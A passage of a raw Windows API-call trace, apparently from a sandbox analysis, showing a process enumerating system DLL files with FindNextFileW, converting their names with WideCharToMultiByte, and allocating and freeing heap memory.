WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.583] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.583] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.583] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.583] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.583] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.583] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0026.584] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.584] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0026.584] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x3ec120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0026.584] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.584] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.584] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.584] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.584] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.584] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0026.584] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.584] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.584] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.584] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.584] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.585] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.585] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.585] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.585] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0026.585] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.585] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.585] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.585] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.585] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.585] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.585] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.585] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.585] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0026.585] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.585] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.585] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x3ec288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0026.585] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.585] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.585] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.585] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.585] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.585] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0026.585] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.585] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.585] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.585] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.585] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.585] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.585] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.585] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.586] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0026.586] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.586] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0026.586] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x3ec288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0026.586] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.586] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.586] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.586] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.586] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.586] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0026.586] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.586] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0026.586] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x3ec120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0026.586] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.586] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.586] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.586] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.586] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.586] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0026.586] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.586] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.586] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.586] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.586] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.586] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.586] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.586] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.586] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0026.586] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.586] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.587] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.587] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.587] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.587] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.587] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.587] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.587] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0026.587] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.587] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.587] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.587] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.587] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.587] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.587] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.587] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.587] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0026.587] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.587] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.587] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.587] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.587] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.587] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.587] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.587] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.587] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0026.587] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.587] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.587] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x3ec288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0026.588] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.588] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.588] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.588] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.588] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.588] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0026.588] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.588] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.588] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x3ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.588] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.588] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.588] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.588] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.588] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.588] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, 